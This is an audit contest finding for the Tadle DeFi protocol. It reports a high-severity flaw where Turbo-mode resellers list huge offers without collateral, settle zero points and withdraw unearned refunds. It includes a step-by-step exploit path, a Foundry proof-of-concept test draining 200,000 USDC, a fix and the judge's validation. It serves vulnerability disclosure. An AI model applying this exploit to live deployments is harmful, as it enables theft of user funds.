Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Exploitation of Turbo mode allows malicious traders to drain protocol funds

Summary

In Turbo mode, malicious traders can exploit the lack of collateral requirements for subsequent trades by listing offers with extremely high amounts. If no takers accept the offer, the trader can settle with zero points and receive a refund for collateral they never deposited, leading to significant protocol drain.

Vulnerability

In Turbo Mode, the original seller deposits crypto as collateral, enabling subsequent traders to buy and sell points without additional collateral. Malicious traders can approach as follows to drain the protocol funds:

  1. The malicious trader accepts (buys) an ask offer in Turbo mode, which creates a stock for them.

  2. The malicious trader then calls listOffer to list their points for sale at an extremely large _amount.

    2.1 Since the original offer's type is Turbo, the malicious trader is not required to deposit collateral for the amount they are selling

  3. The market owner updates the market's information and sets the TGE event. Given the unrealistic high price set by the malicious trader, it is very likely that there will be no takers for their offer.

  4. During the settlement period, the malicious trader calls DeliveryPlace::settleAskMaker to settle their ask offer with _settledPoints set to 0 (since no points were bought from their offer).

    4.1 Because _settledPoints equals offerInfo.usedPoints (0), and the malicious offer's status is Virgin (no takers), the function will erroneously refund the trader with the deposited collateral that they never actually deposited:

    function settleAskMaker(address _offer, uint256 _settledPoints) external {
    // ...
    uint256 makerRefundAmount;
    if (_settledPoints == offerInfo.usedPoints) {
    if (offerInfo.offerStatus == OfferStatus.Virgin) {
    // if there were no sub offers, refund the whole amount
    makerRefundAmount = OfferLibraries.getDepositAmount(
    offerInfo.offerType,
    offerInfo.collateralRate,
    offerInfo.amount,
    true,
    Math.Rounding.Floor
    );
    } else {//...}
    // @audit refunding the malicious user with LARGE collateral he did NOT deposit
    tokenManager.addTokenBalance(
    TokenBalanceType.SalesRevenue,
    _msgSender(),
    makerInfo.tokenAddress,
    makerRefundAmount
    );
    }
    // ...
    }
  5. The malicious trader can then call TokenManager::withdraw to withdraw the very LARGE refunded collateral that he never deposited, effectively draining the protocol.

By setting an extremely high _amount for the points they are selling, the malicious trader can drain large sums of the protocol's funds.

Proof Of Concept

To reproduce to test below, some parts of the codebase need to be updated given that there are another vulnerability connected here:

  1. Fix the vulnerability that allows users to keep withdrawing in TokenManager::withdraw (explained in details in another report):

// TokenManager::withdraw
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] -= claimAbleAmount;
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);

The following test case demonstrates how Bob can easily drain $200_000 from the protocol (and potentially more):

function test_tradersCanStealFundsIfSubsequentListingsAreVirginInTurboMode() public {
vm.startPrank(user1);
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user);
uint points = 1000;
uint amount = 1000 * 1e18;
// Alice (user) create an Ask offer of 1,000 points with amount $1,000
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
points,
amount,
10000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
deal(address(mockUSDCToken), address(capitalPool), 500000 ether); // simulating other deposits and trading activities...
address offerAddr = GenerateAddress.generateOfferAddress(0);
// Bob (user2) takes the offer and buys 500 points from Alice
vm.startPrank(user2);
preMarktes.createTaker(offerAddr, 500);
address bobStockAddr = GenerateAddress.generateStockAddress(1);
// Bob then lists his offer for trading with $200,000 value. No need to put collateral in Turbo mode
preMarktes.listOffer(bobStockAddr, 200_000 * 1e18, 10000);
address bobOfferAddr = GenerateAddress.generateOfferAddress(1);
// owner sets TGE
vm.startPrank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user2);
// Given the unrealistic listing price, there were no takers and bob's points were not used. He will settle 0 points
// and $200_000 will be available for withdraw
deliveryPlace.settleAskMaker(bobOfferAddr, 0);
uint balanceBeforeWithdrawing = mockUSDCToken.balanceOf(address(user2));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint balanceAfterWithdrawing = mockUSDCToken.balanceOf(address(user2));
// Bob got refunded with `200_000 USDC` that the protocol *thinks* he deposited
assert(balanceAfterWithdrawing >= balanceBeforeWithdrawing + 200_000 ether);
}
forge test --mt test_tradersCanStealFundsIfSubsequentListingsAreVirginInTurboMode
[PASS] test_tradersCanStealFundsIfSubsequentListingsAreVirginInTurboMode() (gas: 1286942)

Impact

Malicious traders can exploit Turbo mode to drain the protocol's funds by listing offers with extremely high amounts and settling without any actual takers, leading to a significant loss of funds.

Tools Used

Manual Review

Recommendations

The current implementation incorrectly refunds the collateral in Turbo mode in which no collateral was deposited.
Refunding collateral if there were no takers should be in either cases:

  1. The original offer

  2. Subsequent offer with Protected mode since they already deposited the collateral to be refunded.

Update the settleAskmaker function as follows

function settleAskMaker(address _offer, uint256 _settledPoints) external {
// ...
uint256 makerRefundAmount;
- if (_settledPoints == offerInfo.usedPoints) {
+ if (_settledPoints == offerInfo.usedPoints &&
+ (makerInfo.offerType == OfferType.Protected || makerInfo.originOffer == _offer))
if (offerInfo.offerStatus == OfferStatus.Virgin) {
// if there were no sub offers, refund the whole amount
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {//...}
tokenManager.addTokenBalance(
TokenBalanceType.SalesRevenue,
_msgSender(),
makerInfo.tokenAddress,
makerRefundAmount
);
}
// ...
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-turbo-settleAskMaker-exploit-settlement

Valid high severity, this allows resellers listing offers via `listOffer/relistOffer` to game the system. Based on the inherent design of Turbo mode not requiring takers making ask offers for the original maker offer to deposit collateral, the wrong refund of collateral to takers even when they did not deposit collateral due to turbo mode during settleAskMaker allows possible draining of pools.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.